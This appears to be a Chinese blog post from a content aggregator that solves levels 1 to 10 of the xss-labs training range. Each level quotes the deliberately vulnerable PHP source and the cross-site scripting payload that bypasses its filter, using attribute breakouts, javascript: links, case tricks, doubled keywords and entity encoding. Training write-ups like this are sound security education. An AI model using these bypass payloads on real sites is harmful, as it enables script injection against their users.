当前位置: 首页 > news >正文

xss-labs靶场训练

Level1
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过查看源码我们发现他有一个GET传参,那么我们通过传参发现他将name值传到html页面的,也就是说他没有做任何过滤

那么我们可以直接插入一段js代码

http://127.0.0.1/xsslabs/level1.php?name=<script>alert(1)</script>

Level2

我们先插入js代码传参,发现他有两处可能触发,且第一处没有触发,做了实体转换,不再是标签,而是文本,不能利用

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

htmlspecialchars:将特殊字符转换为HTML实体

我们查看源码,证实了我们的想法,所以我们要使用第二处。通过查看源码,我们发现用闭合双引号来实现

第一种:
aaa" onclick="alert(1)        #需要点击,才会触发

第二种:
"> <script>alert(1)</script> <"

Level3

我们尝试用前两关的方法,结果都不行,我们查看源码,发现他使用了htmlspecialchars函数

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们查看官方文档发现,该函数有三种标识位,现在源码什么都没有设置,但是触发处是用单引号闭合的,所以我们使用单引号闭合就成功了

aaa' onclick='alert(1)
Level4

我们使用双引号闭合测试,发现通关了

aaa" onclick="alert(1)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

通过查看源码,我们发现他只限制了<>,没有其他过滤

拓展

当他限制不能使用交互式时,该如何解决

我们可以使用autofocus,autofocus是自动聚焦,所以不用点击就能触发

aaa" autofocus onfocus="alert(1)
Level5
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

通过查看源码,我们发现他过滤了"<script","<scr_ipt","on","o_n",但是他没有过滤<>,所以我们可以考虑其他标签,比如:<a></a>

"> <a href=javascript:alert()>aaa</a> <"

Level6
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 

提供查看源码,我们发现他在上一关的基础上还过滤了"src","data","href",但是我们发现他比上一关少了strtolower函数,所以我们可以利用大小写来触发

$str = strtolower($_GET["keyword"]);

"> <ScRipt>alert(1)</ScRipt> <"

Level7
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

通过查看源码,我们发现比上一关多了大小写限制,所以我们可以用双写来触发

"> <a hrehreff=javascriscriptpt:alert()>aaa</a> <"

Level8
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

通过查看源码,我们发现他在上一关的基础上,过滤了双引号,但是我们可以利用href的隐藏属性自动Unicode解码,编写一段伪js代码,用在线Unicode编码解码 - 码工具

javascript:alert()
编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

Level9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

通过查看源码,我们发现他比上一关多了一个判断,是否有'http://',如果为false就会显示不合法,所以我们要在参数中添加'http://'

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */        #要将http://注释掉

Level10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

通过查看源码,我们发现GET传参到<h2>标签中,而且"t_link"、"t_history"、"t_sort"都是隐藏状态,但是t_sort接收到get传参的数据,然后再过滤掉<>,就没有其他限制了

/level10.php?keyword=aaa&t_sort=a" onclick=alert(1) type="text

#因为输入框被隐藏了,所以需要添加type="text"

相关文章:

  • 从全局角度回顾Transformer白话版
  • 【大模型系列篇】深度解锁MCP模型上下文协议,赋能大模型玩转智能体
  • 实时监控、数据分析!Web-Check构建你的网站健康检测系统实操方案
  • SAP-ABAP:SAP系统架构技术白皮书
  • RIP路由欺骗攻击与防御实验详解
  • 命名管道与共享内存
  • 代码随想录算法训练营第五十二天 |101. 孤岛的总面积102. 沉没孤岛103. 水流问题104.建造最大岛屿
  • 鸿蒙app 开发中 如何 自己定义 选中图库照片或者视频的逻辑
  • 汽车制造企业供应链管理模式及精益生产物流管理规划P337(337页PPT)(文末有下载方式)
  • 【总结篇】java多线程,新建线程有几种写法,以及每种写法的优劣势
  • 多维array和多维视图std::mdspan
  • 八股文-C++ 运行时多态与函数调用机制详解
  • 使用LangChain实现基于LLM和RAG的PDF问答系统
  • 用Python实现交互式数据可视化:从基础图表到动态仪表板
  • 线程池阻塞队列:告别资源耗尽,拥抱优雅并发!
  • 从零开始实现 C++ TinyWebServer 阻塞队列 BlockQueue类详解
  • Java Timer定时任务源码分析
  • 洛谷P1434 [SHOI2002] 滑雪
  • 一篇文章入门Python Flask框架前后端数据库开发实践(pycharm在anaconda环境下)
  • Python Seaborn面试题及参考答案
  • 每日475.52元!最高检公布最新侵犯公民人身自由的赔偿金标准
  • 张宇祥已任上海闵行区委常委、副区长
  • 马上评|劳动课该如何找回“存在感”
  • 消费维权周报丨上周涉汽车类投诉较多,涉加油“跳枪”等问题
  • 关税影响下沃尔玛想涨价,特朗普施压:自行承担,别转嫁给顾客
  • 首届中国人文学科年度发展大会启幕,共话AI时代人文使命